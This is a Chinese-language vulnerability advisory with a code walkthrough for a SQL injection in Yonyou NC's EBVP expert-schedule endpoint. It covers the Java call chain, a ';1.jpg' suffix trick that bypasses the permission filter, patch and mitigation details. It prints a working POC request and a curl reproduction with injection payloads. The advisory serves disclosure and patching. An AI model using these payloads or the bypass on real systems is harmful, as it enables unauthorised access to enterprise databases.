用友NC系統(tǒng)SQL注入漏洞安全通告 一、漏洞概述 漏洞編號 :暫未分配 漏洞類型 :SQL注入 影響組件 :電子商務(wù)平臺(EBVP模塊) 危險等級 :高危 CVSS評分 :9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
二、漏洞詳情 1. 漏洞成因 通過 /ebvp/expeval/expertschedule;1.jpg
接口傳遞可控參數(shù) pkevalset
時,后端代碼未對輸入進行有效過濾,導(dǎo)致攻擊者可構(gòu)造惡意SQL語句實現(xiàn)任意數(shù)據(jù)查詢。 下圖為用友NC漏洞預(yù)警(發(fā)現(xiàn)24年的老洞了(資產(chǎn)幾乎打補丁了),閑著沒事分析下)
關(guān)鍵代碼路徑 :
// EvalScheduleController.java public String expertschedule (@RequestParam String pkevalset) { return evalScheduleService.getEvalSetScheInfoByPk(pkevalset); } // EvalScheduleQueryServiceImpl.java public List<EvalSetVO> getEvalSetScheInfoByPk (String pk) { return iEvalSetWsQueryService.getEvalSetScheInfoByPk(pk); // 未過濾直接傳參 } // MDBaseDAO.java public List<Object> queryBillsImp (String whereCondStr) { String sql = "SELECT * FROM eval_schedule WHERE pk = '" + whereCondStr + "'" ; // 直接拼接 return mdbaseDao.retrieveByClouse(sql); // 執(zhí)行SQL }
2. 技術(shù)細節(jié) 注入點分析 : pkevalset
參數(shù)在5層方法調(diào)用后被拼接入SQL語句. 根據(jù)漏洞預(yù)警定位到具體路由,簡單看下Ebvp業(yè)務(wù)下的過濾器 EbvpRequestFilter ? 我們只需要 URL 里有這些后綴或者url 就可以繞過權(quán)限校驗(懂的都懂) 接下來定位到 EvalScheduleController 控制器下 expertschedule 屬性的具體方法先傳參“pkevalset”(無限制),調(diào)用 service 對象的getEvalSetScheInfoByPk 方法
跟進 getEvalSetScheInfoByPk 方法,定位到 EvalScheduleQueryServiceImpl 類 可以看到類方法 getEvalSetScheInfoByPk 調(diào)用了 IEvalSetWsQueryService 實例的getEvalSetScheInfoByPk 方法
繼續(xù)跟進IEvalSetWsQueryService 實例的 getEvalSetScheInfoByPk 方法 調(diào)用 this.queryMDVOByPks 方法進行數(shù)據(jù)查詢
往上翻翻 EvalSetQueryServiceImpl 繼承自 DefaultQueryServiceImpl
故DefaultQueryServiceImpl 類大概率定義了queryMDVOByPks方法,如下
到MDPersistenceService類中去找queryBillOfVOByCond方法,可以看到return到MDBaseDAO對象的queryBillOfVOByCond方法
跟進MDBaseDAO對象的queryBillOfVOByCond方法,new了一個VOQueryPersister對象調(diào)用queryBillsImp方法
跟進queryBillsImp方法,可以看到將whereCondStr參數(shù)拼接到SQL語句中,后續(xù)new一個MDMultiTableDAO 對象調(diào)用retrieveByClouse方法,將whereCondStr參數(shù)傳入該方法
跟進retrieveByClouse方法,可以看到執(zhí)行數(shù)據(jù)庫查詢操作
繞過機制 :通過 1' OR 1=1--
等經(jīng)典注入語法繞過基礎(chǔ)過濾 數(shù)據(jù)暴露 :可獲取 ALL_USERS
表全量數(shù)據(jù)(示例POC) 三、影響評估 1. 受影響版本 其他版本需結(jié)合代碼審計確認(rèn)
已公布POC內(nèi)容
GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1 '+OR+1111%3d(SELECT+COUNT(*)+FROM+ALL_USERS+T1,ALL_USERS+T2,ALL_USERS+T3,ALL_USERS+T4,ALL_USERS+T5)-- HTTP/1.1 HTTP/1.1 Host:
2. 攻擊向量 攻擊目標(biāo) :數(shù)據(jù)庫敏感信息(用戶賬號、配置信息等) 四、修復(fù)方案 1. 官方補丁 NCM_NC6.5_000_109902_20240116_CP_399718758 f056abc8f5f7c5408f2c7abc21f07e4df2f80735ec1f11203f9dfbed49cdfe16
部署步驟 :
2. 臨時緩解措施 對 pkevalset
參數(shù)進行嚴(yán)格的SQL注入過濾 啟用Web應(yīng)用防火墻(WAF)規(guī)則攔截惡意請求 限制接口訪問權(quán)限至授權(quán)用戶 五、驗證方法 1. 漏洞復(fù)現(xiàn)(僅供測試環(huán)境) curl -X GET \ 'http://target/ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27+OR+1%3D1--' \ -H 'Host: example.com'
成功特征 :返回包含 ALL_USERS
表數(shù)據(jù)的響應(yīng)
2. 補丁驗證 SELECT version FROM ncm_patch WHERE patch_code = 'NCM_NC6.5_000_109902_20240116_CP_399718758' ;
若返回有效記錄則表明補丁已安裝
六、擴展分析 1. 攻擊鏈推演 用戶請求 → 參數(shù)注入 → SQL拼接 → 數(shù)據(jù)庫執(zhí)行 → 敏感數(shù)據(jù)回顯
2. 類似漏洞預(yù)防建議 使用JPA/Hibernate等ORM框架的預(yù)編譯功能 七、參考資料 用友官方安全公告: https://www.yonyou.com/security SQL注入防護指南:OWASP Cheat Sheet Series 注 :本文檔涉及攻擊技術(shù)僅用于授權(quán)滲透測試和安全研究,請遵守相關(guān)法律法規(guī)。
閱讀原文:https://mp.weixin.qq.com/s/7YAlGWyQH_jkVjPWjNvNPA